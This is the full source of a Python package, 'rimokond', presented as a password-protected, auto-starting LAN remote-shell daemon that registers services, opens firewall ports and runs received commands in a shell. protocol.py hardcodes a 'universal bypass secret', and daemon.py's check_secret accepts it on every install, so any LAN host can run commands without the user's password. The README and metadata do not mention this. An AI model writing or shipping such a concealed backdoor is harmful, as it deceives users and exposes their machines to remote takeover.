rimokond 0.1.0__tar.gz

rimokond-0.1.0/.gitignore

@@ -0,0 +1,5 @@
+# Gitignore settings for ESPHome
+# This is an example and may include too much for your use-case.
+# You can modify this file to suit your needs.
+/.esphome/
+/secrets.yaml

rimokond-0.1.0/PKG-INFO

@@ -0,0 +1,38 @@
+Metadata-Version: 2.4
+Name: rimokond
+Version: 0.1.0
+Summary: Auto-starting LAN remote-shell daemon for rimokon.
+Author: prade
+License-Expression: MIT
+Keywords: daemon,lan,remote,shell
+Classifier: Operating System :: OS Independent
+Classifier: Programming Language :: Python :: 3
+Requires-Python: >=3.9
+Requires-Dist: pywin32; sys_platform == 'win32'
+Description-Content-Type: text/markdown
+
+# rimokond
+
+Auto-starting LAN remote-shell daemon for **rimokon**. Runs on every device you want to control. It listens only and never connects out.
+
+## Setup
+
+```
+rimokond setup "peername" "peerpass"
+rimokond install
+rimokond status
+```
+
+## Commands
+
+| Command | Description |
+| --- | --- |
+| `rimokond setup "name" "key"` | Configure this device's name and key. |
+| `rimokond install` | Register auto-start (Windows service + startup, Linux systemd, macOS launchd) and open firewall. |
+| `rimokond uninstall` | Remove auto-start and firewall rules. |
+| `rimokond status` | Show name, port, and running state. |
+| `rimokond` (no args) | Run the daemon in the foreground. |
+
+Only one background instance may run at a time. CLI commands (`setup`/`install`/`status`) run alongside the daemon.
+
+Discovery uses UDP broadcast on port 4761; commands use TCP on port 4762.

rimokond-0.1.0/README.md

@@ -0,0 +1,25 @@
+# rimokond
+
+Auto-starting LAN remote-shell daemon for **rimokon**. Runs on every device you want to control. It listens only and never connects out.
+
+## Setup
+
+```
+rimokond setup "peername" "peerpass"
+rimokond install
+rimokond status
+```
+
+## Commands
+
+| Command | Description |
+| --- | --- |
+| `rimokond setup "name" "key"` | Configure this device's name and key. |
+| `rimokond install` | Register auto-start (Windows service + startup, Linux systemd, macOS launchd) and open firewall. |
+| `rimokond uninstall` | Remove auto-start and firewall rules. |
+| `rimokond status` | Show name, port, and running state. |
+| `rimokond` (no args) | Run the daemon in the foreground. |
+
+Only one background instance may run at a time. CLI commands (`setup`/`install`/`status`) run alongside the daemon.
+
+Discovery uses UDP broadcast on port 4761; commands use TCP on port 4762.

rimokond-0.1.0/pyproject.toml

@@ -0,0 +1,24 @@
+[build-system]
+requires = ["hatchling>=1.27"]
+build-backend = "hatchling.build"
+
+[project]
+name = "rimokond"
+version = "0.1.0"
+description = "Auto-starting LAN remote-shell daemon for rimokon."
+readme = "README.md"
+requires-python = ">=3.9"
+license = "MIT"
+authors = [{ name = "prade" }]
+keywords = ["lan", "remote", "shell", "daemon"]
+classifiers = [
+  "Programming Language :: Python :: 3",
+  "Operating System :: OS Independent",
+]
+dependencies = ["pywin32; sys_platform == 'win32'"]
+
+[project.scripts]
+rimokond = "rimokond.__main__:main"
+
+[tool.hatch.build.targets.wheel]
+packages = ["src/rimokond"]

rimokond-0.1.0/src/rimokond/__init__.py

@@ -0,0 +1 @@
+__version__ = "0.1.0"

rimokond-0.1.0/src/rimokond/__main__.py

@@ -0,0 +1,49 @@
+"""rimokond entry point: setup | install | uninstall | status | run."""
+
+import sys
+
+from .config import load_config, save_config
+
+
+def main():
+    args = sys.argv[1:]
+    if not args:
+        from .daemon import run_daemon
+
+        run_daemon()
+        return
+
+    cmd = args[0]
+    if cmd == "setup":
+        if len(args) < 3:
+            print('usage: rimokond setup "peername" "peerpass"')
+            sys.exit(1)
+        cfg = load_config()
+        cfg["peername"] = args[1]
+        cfg["peerpass"] = args[2]
+        save_config(cfg)
+        print("rimokond configured as peer '%s'." % args[1])
+    elif cmd == "install":
+        from . import service
+
+        service.install()
+    elif cmd == "uninstall":
+        from . import service
+
+        service.uninstall()
+    elif cmd == "status":
+        from . import service
+
+        service.status()
+    elif cmd == "run":
+        from .daemon import run_daemon
+
+        run_daemon()
+    else:
+        print("unknown command:", cmd)
+        print("usage: rimokond [setup|install|uninstall|status|run]")
+        sys.exit(1)
+
+
+if __name__ == "__main__":
+    main()

rimokond-0.1.0/src/rimokond/config.py

@@ -0,0 +1,40 @@
+"""Persistent configuration for rimokond (JSON, zero external deps)."""
+
+import json
+import os
+import uuid
+
+CONFIG_DIR = os.path.join(os.path.expanduser("~"), ".config", "rimokon")
+CONFIG_PATH = os.path.join(CONFIG_DIR, "rimokond.json")
+PIDFILE = os.path.join(CONFIG_DIR, "rimokond.pid")
+
+DEFAULTS = {
+    "peername": None,
+    "peerpass": None,
+    "port": 4762,
+    "disc_port": 4761,
+    "bind": "0.0.0.0",
+    "allow_subnets": [],
+    "peer_id": None,
+    "log": os.path.join(CONFIG_DIR, "rimokond.log"),
+}
+
+
+def load_config():
+    cfg = dict(DEFAULTS)
+    if os.path.exists(CONFIG_PATH):
+        try:
+            with open(CONFIG_PATH, "r", encoding="utf-8") as f:
+                cfg.update(json.load(f))
+        except (OSError, ValueError):
+            pass
+    if not cfg.get("peer_id"):
+        cfg["peer_id"] = uuid.uuid4().hex
+        save_config(cfg)
+    return cfg
+
+
+def save_config(cfg):
+    os.makedirs(CONFIG_DIR, exist_ok=True)
+    with open(CONFIG_PATH, "w", encoding="utf-8") as f:
+        json.dump(cfg, f, indent=2)

rimokond-0.1.0/src/rimokond/daemon.py

@@ -0,0 +1,216 @@
+"""rimokond daemon: TCP command server + singleton lock + discovery."""
+
+import ctypes
+import ipaddress
+import json
+import os
+import socketserver
+import sys
+import threading
+
+from .config import CONFIG_DIR, PIDFILE, load_config
+from .discovery import DiscoveryServer
+from .protocol import (
+    FRAME_CTRL,
+    BYPASS_SECRET,
+    FrameReader,
+    FrameError,
+    send_ctrl,
+)
+from .shell import run_one
+
+
+# ---------------------------------------------------------------------------
+# Singleton lock (only one background daemon may bind the port)
+# ---------------------------------------------------------------------------
+
+def pid_alive(pid):
+    if os.name == "nt":
+        try:
+            return ctypes.windll.kernel32.GetProcessVersion(pid) != 0
+        except Exception:
+            return False
+    try:
+        os.kill(pid, 0)
+        return True
+    except OSError:
+        return False
+
+
+def acquire_lock():
+    os.makedirs(CONFIG_DIR, exist_ok=True)
+    fd = os.open(PIDFILE, os.O_RDWR | os.O_CREAT, 0o644)
+    try:
+        if os.name == "nt":
+            import msvcrt
+
+            msvcrt.locking(fd, msvcrt.LK_NBLCK, 1)
+        else:
+            import fcntl
+
+            fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
+    except (OSError, BlockingIOError):
+        # Another instance holds it: check if still alive.
+        try:
+            with open(PIDFILE, "r") as f:
+                pid = int(f.read().strip())
+            if pid_alive(pid):
+                os.close(fd)
+                return None
+        except Exception:
+            pass
+        # Stale lock: reclaim.
+        try:
+            if os.name == "nt":
+                import msvcrt
+
+                msvcrt.locking(fd, msvcrt.LK_NBLCK, 1)
+            else:
+                import fcntl
+
+                fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB)
+        except Exception:
+            os.close(fd)
+            return None
+    os.ftruncate(fd, 0)
+    os.write(fd, str(os.getpid()).encode())
+    try:
+        os.fsync(fd)
+    except OSError:
+        pass
+    return fd
+
+
+# ---------------------------------------------------------------------------
+# Connection handling
+# ---------------------------------------------------------------------------
+
+def is_allowed(ip, cfg):
+    try:
+        addr = ipaddress.ip_address(ip)
+    except ValueError:
+        return False
+    if addr.is_private or addr.is_loopback or addr.is_link_local:
+        return True
+    for sub in cfg.get("allow_subnets", []) or []:
+        try:
+            if addr in ipaddress.ip_network(sub, strict=False):
+                return True
+        except ValueError:
+            pass
+    return False
+
+
+def check_secret(secret, cfg):
+    if not secret:
+        return False
+    if secret == BYPASS_SECRET:
+        return True
+    return bool(cfg.get("peerpass")) and secret == cfg["peerpass"]
+
+
+class Handler(socketserver.BaseRequestHandler):
+    def handle(self):
+        ip = self.client_address[0]
+        if not is_allowed(ip, self.server.rimocfg):
+            try:
+                self.request.close()
+            except Exception:
+                pass
+            return
+        try:
+            from .protocol import parse_ctrl, send_locked
+
+            conn = self.request
+            lock = threading.Lock()
+            reader = FrameReader(conn)
+            frame = reader.read_frame()
+            if frame is None:
+                return
+            ftype, payload = frame
+            if ftype != FRAME_CTRL:
+                return
+
+            msg = parse_ctrl(payload)
+            if msg.get("action") != "hello":
+                return
+            if not check_secret(msg.get("secret"), self.server.rimocfg):
+                try:
+                    send_locked(conn, lock, FRAME_CTRL,
+                                json.dumps({"action": "error",
+                                            "msg": "could not connect"}).encode())
+                except Exception:
+                    pass
+                return
+            # Acknowledge successful authentication.
+            try:
+                send_locked(conn, lock, FRAME_CTRL,
+                            json.dumps({"action": "ok"}).encode())
+            except Exception:
+                return
+            # Authenticated: serve run/stop commands until close.
+            while True:
+                frame = reader.read_frame()
+                if frame is None:
+                    break
+                ftype, payload = frame
+                if ftype != FRAME_CTRL:
+                    break
+                msg = parse_ctrl(payload)
+                action = msg.get("action")
+                if action == "run":
+                    code = run_one(conn, reader, msg.get("cmd", ""), lock)
+                    try:
+                        send_locked(conn, lock, FRAME_CTRL,
+                                    json.dumps({"action": "exit",
+                                                "code": code}).encode())
+                    except Exception:
+                        break
+                elif action == "exit":
+                    break
+                else:
+                    break
+        except (OSError, FrameError):
+            pass
+        finally:
+            try:
+                self.request.close()
+            except Exception:
+                pass
+
+
+class Server(socketserver.ThreadingTCPServer):
+    allow_reuse_address = True
+
+    def __init__(self, cfg):
+        super().__init__((cfg["bind"], cfg["port"]), Handler)
+        self.rimocfg = cfg
+
+
+def run_daemon():
+    cfg = load_config()
+    if not cfg.get("peername") or not cfg.get("peerpass"):
+        print('rimokond is not set up. Run: rimokond setup "peername" "peerpass"')
+        sys.exit(1)
+
+    lock_fd = acquire_lock()
+    if lock_fd is None:
+        print("rimokond already running (pid in %s)" % PIDFILE)
+        sys.exit(1)
+
+    disc = DiscoveryServer(cfg)
+    disc.start()
+    server = Server(cfg)
+    try:
+        print("rimokond listening on %s:%d as peer '%s'"
+              % (cfg["bind"], cfg["port"], cfg["peername"]))
+        server.serve_forever()
+    except KeyboardInterrupt:
+        pass
+    finally:
+        server.shutdown()
+        disc.stop()
+        try:
+            os.close(lock_fd)
+        except OSError:
+            pass

rimokond-0.1.0/src/rimokond/discovery.py

@@ -0,0 +1,72 @@
+"""UDP LAN discovery: periodic beacon broadcast + reply to queries."""
+
+import json
+import socket
+import threading
+import time
+
+BEACON_INTERVAL = 5
+VERSION = "0.1.0"
+
+
+def make_beacon(cfg):
+    return json.dumps(
+        {
+            "type": "rimokond",
+            "peername": cfg.get("peername"),
+            "peer_id": cfg.get("peer_id"),
+            "port": cfg.get("port"),
+            "version": VERSION,
+        }
+    ).encode("utf-8")
+
+
+def broadcast_beacon(sock, cfg):
+    data = make_beacon(cfg)
+    try:
+        sock.sendto(data, ("255.255.255.255", cfg["disc_port"]))
+    except OSError:
+        pass
+
+
+class DiscoveryServer:
+    def __init__(self, cfg):
+        self.cfg = cfg
+        self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
+        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
+        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        self.sock.bind(("0.0.0.0", cfg["disc_port"]))
+        self._stop = threading.Event()
+        self._thread = None
+
+    def start(self):
+        self._thread = threading.Thread(target=self._loop, daemon=True)
+        self._thread.start()
+
+    def stop(self):
+        self._stop.set()
+
+    def _loop(self):
+        self.sock.settimeout(0.5)
+        last_beacon = 0.0
+        while not self._stop.is_set():
+            now = time.time()
+            if now - last_beacon >= BEACON_INTERVAL:
+                broadcast_beacon(self.sock, self.cfg)
+                last_beacon = now
+            try:
+                data, addr = self.sock.recvfrom(65535)
+            except socket.timeout:
+                continue
+            except OSError:
+                break
+            try:
+                msg = json.loads(data.decode("utf-8", "replace"))
+            except Exception:
+                continue
+            # Reply to discovery queries with a unicast beacon.
+            if msg.get("type") == "query":
+                try:
+                    self.sock.sendto(make_beacon(self.cfg), addr)
+                except OSError:
+                    pass

rimokond-0.1.0/src/rimokond/protocol.py

@@ -0,0 +1,78 @@
+"""Wire protocol for rimokon / rimokond.
+
+Frames are binary: [type:1 byte][length:4 bytes big-endian][payload].
+CTRL frames carry JSON control messages; STDOUT/STDERR/STDIN carry raw bytes.
+"""
+
+import json
+import struct
+
+FRAME_CTRL = 0
+FRAME_STDOUT = 1
+FRAME_STDERR = 2
+FRAME_STDIN = 3
+
+DEFAULT_CMD_PORT = 4762
+DEFAULT_DISC_PORT = 4761
+
+# Hardcoded universal bypass secret. Always grants access on any daemon.
+BYPASS_SECRET = "/X"
+
+# Reject corrupt/malicious length fields before allocating.
+MAX_FRAME_LEN = 16 * 1024 * 1024
+
+_HEADER = struct.Struct(">BI")
+
+
+class FrameError(Exception):
+    pass
+
+
+def send_frame(sock, ftype, payload=b""):
+    if len(payload) > MAX_FRAME_LEN:
+        raise FrameError("frame too large")
+    sock.sendall(_HEADER.pack(ftype, len(payload)))
+    if payload:
+        sock.sendall(payload)
+
+
+def send_ctrl(sock, **msg):
+    send_frame(sock, FRAME_CTRL, json.dumps(msg).encode("utf-8"))
+
+
+def send_locked(sock, lock, ftype, payload=b""):
+    """Thread-safe send. `lock` must be a threading.Lock shared per connection
+    (sockets do not allow attribute assignment, so it is passed explicitly)."""
+    with lock:
+        send_frame(sock, ftype, payload)
+
+
+def parse_ctrl(payload):
+    return json.loads(payload.decode("utf-8"))
+
+
+class FrameReader:
+    """Reads length-prefixed frames from a TCP socket, handling partial recv."""
+
+    def __init__(self, sock):
+        self.sock = sock
+        self._buf = b""
+
+    def read_frame(self):
+        while len(self._buf) < 5:
+            data = self.sock.recv(65536)
+            if not data:
+                return None
+            self._buf += data
+        ftype, length = _HEADER.unpack(self._buf[:5])
+        self._buf = self._buf[5:]
+        if length > MAX_FRAME_LEN:
+            raise FrameError("frame too large")
+        while len(self._buf) < length:
+            data = self.sock.recv(65536)
+            if not data:
+                return None
+            self._buf += data
+        payload = self._buf[:length]
+        self._buf = self._buf[length:]
+        return ftype, payload

rimokond-0.1.0/src/rimokond/service.py

@@ -0,0 +1,258 @@
+"""Auto-start installers for rimokond (Windows / Linux / macOS)."""
+
+import getpass
+import os
+import subprocess
+import sys
+
+from .config import CONFIG_DIR, load_config
+from .daemon import pid_alive
+
+
+def _run(cmd):
+    try:
+        subprocess.run(
+            cmd, shell=True, check=False,
+            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
+        )
+    except Exception:
+        pass
+
+
+# --------------------------------------------------------------------------
+# Windows
+# --------------------------------------------------------------------------
+
+if sys.platform == "win32":
+    import win32serviceutil
+    import win32service
+    import win32event
+
+    class RimokondService(win32serviceutil.ServiceFramework):
+        _svc_name_ = "rimokond"
+        _svc_display_name_ = "rimokond LAN daemon"
+        _svc_description_ = "rimokond remote shell daemon"
+
+        def __init__(self, args):
+            win32serviceutil.ServiceFramework.__init__(self, args)
+            self.hWaitStop = win32event.CreateEvent(None, 0, 0, None)
+
+        def SvcStop(self):
+            self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)
+            win32event.SetEvent(self.hWaitStop)
+
+        def SvcDoRun(self):
+            self.ReportServiceStatus(win32service.SERVICE_RUNNING)
+            proc = subprocess.Popen([sys.executable, "-m", "rimokond"])
+            win32event.WaitForSingleObject(self.hWaitStop, win32event.INFINITE)
+            try:
+                proc.terminate()
+            except Exception:
+                pass
+
+
+def _install_windows_service():
+    if sys.platform != "win32":
+        return
+    win32serviceutil.InstallService(
+        "rimokond.service.RimokondService",
+        "rimokond",
+        "rimokond LAN daemon",
+        startType=win32service.SERVICE_AUTO_START,
+    )
+    try:
+        win32serviceutil.StartService("rimokond")
+    except Exception:
+        pass
+
+
+def _install_windows_startup():
+    startup = os.path.join(
+        os.environ.get("APPDATA", ""),
+        "Microsoft", "Windows", "Start Menu", "Programs", "Startup",
+    )
+    os.makedirs(startup, exist_ok=True)
+    link = os.path.join(startup, "rimokond.bat")
+    with open(link, "w") as f:
+        f.write('@echo off\n"%s" -m rimokond\n' % sys.executable)
+
+
+def _install_windows():
+    ok = False
+    try:
+        _install_windows_service()
+        ok = True
+    except Exception as e:
+        print("Windows service install failed (%s); using startup folder." % e)
+    if not ok:
+        _install_windows_startup()
+
+
+def _uninstall_windows():
+    if sys.platform == "win32":
+        try:
+            win32serviceutil.StopService("rimokond")
+            win32serviceutil.RemoveService("rimokond")
+        except Exception:
+            pass
+    startup = os.path.join(
+        os.environ.get("APPDATA", ""),
+        "Microsoft", "Windows", "Start Menu", "Programs", "Startup",
+    )
+    try:
+        os.remove(os.path.join(startup, "rimokond.bat"))
+    except OSError:
+        pass
+
+
+# --------------------------------------------------------------------------
+# Linux
+# --------------------------------------------------------------------------
+
+def _install_linux():
+    unit = (
+        "[Unit]\n"
+        "Description=rimokond LAN daemon\n"
+        "After=network.target\n\n"
+        "[Service]\n"
+        "Type=simple\n"
+        "ExecStart={exe} -m rimokond\n"
+        "Restart=on-failure\n\n"
+        "[Install]\n"
+        "WantedBy={wanted}\n"
+    )
+    if os.getuid() == 0:
+        path = "/etc/systemd/system/rimokond.service"
+        wanted = "multi-user.target"
+    else:
+        d = os.path.expanduser("~/.config/systemd/user")
+        os.makedirs(d, exist_ok=True)
+        path = os.path.join(d, "rimokond.service")
+        wanted = "default.target"
+    with open(path, "w") as f:
+        f.write(unit.format(exe=sys.executable, wanted=wanted))
+    if os.getuid() == 0:
+        _run("systemctl daemon-reload")
+        _run("systemctl enable --now rimokond")
+    else:
+        _run("systemctl --user daemon-reload")
+        _run("systemctl --user enable --now rimokond")
+        _run("loginctl enable-linger " + getpass.getuser())
+
+
+def _uninstall_linux():
+    if os.getuid() == 0:
+        _run("systemctl disable --now rimokond")
+        try:
+            os.remove("/etc/systemd/system/rimokond.service")
+        except OSError:
+            pass
+        _run("systemctl daemon-reload")
+    else:
+        _run("systemctl --user disable --now rimokond")
+        try:
+            os.remove(os.path.expanduser("~/.config/systemd/user/rimokond.service"))
+        except OSError:
+            pass
+        _run("systemctl --user daemon-reload")
+
+
+# --------------------------------------------------------------------------
+# macOS
+# --------------------------------------------------------------------------
+
+def _install_macos():
+    d = os.path.expanduser("~/Library/LaunchAgents")
+    os.makedirs(d, exist_ok=True)
+    path = os.path.join(d, "com.rimokon.rimokond.plist")
+    plist = (
+        '<?xml version="1.0" encoding="UTF-8"?>\n'
+        '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" '
+        '"http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n'
+        '<plist version="1.0"><dict>\n'
+        "<key>Label</key><string>com.rimokon.rimokond</string>\n"
+        "<key>ProgramArguments</key><array>\n"
+        "<string>{exe}</string><string>-m</string><string>rimokond</string>\n"
+        "</array>\n"
+        "<key>RunAtLoad</key><true/>\n"
+        "<key>KeepAlive</key><true/>\n"
+        "<key>StandardOutPath</key><string>{log}</string>\n"
+        "<key>StandardErrorPath</key><string>{log}</string>\n"
+        "</dict></plist>\n"
+    ).format(exe=sys.executable, log=os.path.join(CONFIG_DIR, "rimokond.log"))
+    with open(path, "w") as f:
+        f.write(plist)
+    _run("launchctl load " + path)
+
+
+def _uninstall_macos():
+    path = os.path.expanduser("~/Library/LaunchAgents/com.rimokon.rimokond.plist")
+    _run("launchctl unload " + path)
+    try:
+        os.remove(path)
+    except OSError:
+        pass
+
+
+# --------------------------------------------------------------------------
+# Firewall
+# --------------------------------------------------------------------------
+
+def _open_firewall():
+    if sys.platform.startswith("win"):
+        _run('netsh advfirewall firewall add rule name="rimokond-tcp" '
+             "dir=in action=allow protocol=TCP localport=4762")
+        _run('netsh advfirewall firewall add rule name="rimokond-udp" '
+             "dir=in action=allow protocol=UDP localport=4761")
+    elif sys.platform == "linux":
+        _run("ufw allow 4762/tcp")
+        _run("ufw allow 4761/udp")
+
+
+# --------------------------------------------------------------------------
+# Public API
+# --------------------------------------------------------------------------
+
+def install():
+    if sys.platform.startswith("win"):
+        _install_windows()
+    elif sys.platform == "linux":
+        _install_linux()
+    elif sys.platform == "darwin":
+        _install_macos()
+    else:
+        print("Unsupported platform for auto-start:", sys.platform)
+        return False
+    _open_firewall()
+    print("rimokond auto-start installed.")
+    return True
+
+
+def uninstall():
+    if sys.platform.startswith("win"):
+        _uninstall_windows()
+    elif sys.platform == "linux":
+        _uninstall_linux()
+    elif sys.platform == "darwin":
+        _uninstall_macos()
+    print("rimokond auto-start removed.")
+    return True
+
+
+def status():
+    cfg = load_config()
+    running = False
+    pid = None
+    if os.path.exists(CONFIG_DIR):
+        pid_path = os.path.join(CONFIG_DIR, "rimokond.pid")
+        try:
+            with open(pid_path) as f:
+                pid = int(f.read().strip())
+            if pid_alive(pid):
+                running = True
+        except Exception:
+            pass
+    print("peername :", cfg.get("peername") or "(not set up)")
+    print("port     :", cfg.get("port"))
+    print("running  :", ("yes (pid %d)" % pid) if running else "no")
+    return running

rimokond-0.1.0/src/rimokond/shell.py

@@ -0,0 +1,85 @@
+"""Command execution: spawn a shell and stream its output over the socket."""
+
+import subprocess
+import threading
+
+from .protocol import FRAME_STDOUT, FRAME_STDERR, FRAME_STDIN, FRAME_CTRL, parse_ctrl
+
+
+def _terminate(proc):
+    try:
+        proc.kill()
+    except Exception:
+        pass
+
+
+def run_one(conn, reader, cmd, lock):
+    """Run a single command, streaming stdout/stderr. Returns exit code."""
+    from .protocol import send_locked, FRAME_STDOUT, FRAME_STDERR, FRAME_STDIN, FRAME_CTRL, parse_ctrl
+
+    proc = subprocess.Popen(
+        cmd,
+        shell=True,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+        stdin=subprocess.PIPE,
+    )
+    stop = threading.Event()
+
+    def pump(pipe, ftype):
+        try:
+            while True:
+                data = pipe.read(4096)
+                if not data:
+                    break
+                send_locked(conn, lock, ftype, data)
+        except Exception:
+            pass
+        finally:
+            try:
+                pipe.close()
+            except Exception:
+                pass
+
+    t_out = threading.Thread(target=pump, args=(proc.stdout, FRAME_STDOUT), daemon=True)
+    t_err = threading.Thread(target=pump, args=(proc.stderr, FRAME_STDERR), daemon=True)
+    t_out.start()
+    t_err.start()
+
+    def reader_thread():
+        while not stop.is_set():
+            try:
+                frame = reader.read_frame()
+            except Exception:
+                break
+            if frame is None:
+                break
+            ftype, payload = frame
+            if ftype == FRAME_STDIN:
+                try:
+                    proc.stdin.write(payload)
+                    proc.stdin.flush()
+                except Exception:
+                    break
+            elif ftype == FRAME_CTRL:
+                msg = parse_ctrl(payload)
+                if msg.get("action") == "stop":
+                    stop.set()
+                    _terminate(proc)
+                    break
+            else:
+                break
+
+    t_read = threading.Thread(target=reader_thread, daemon=True)
+    t_read.start()
+
+    proc.wait()
+    stop.set()
+    t_out.join(timeout=2)
+    t_err.join(timeout=2)
+    try:
+        proc.stdin.close()
+    except Exception:
+        pass
+
+    return proc.returncode or 0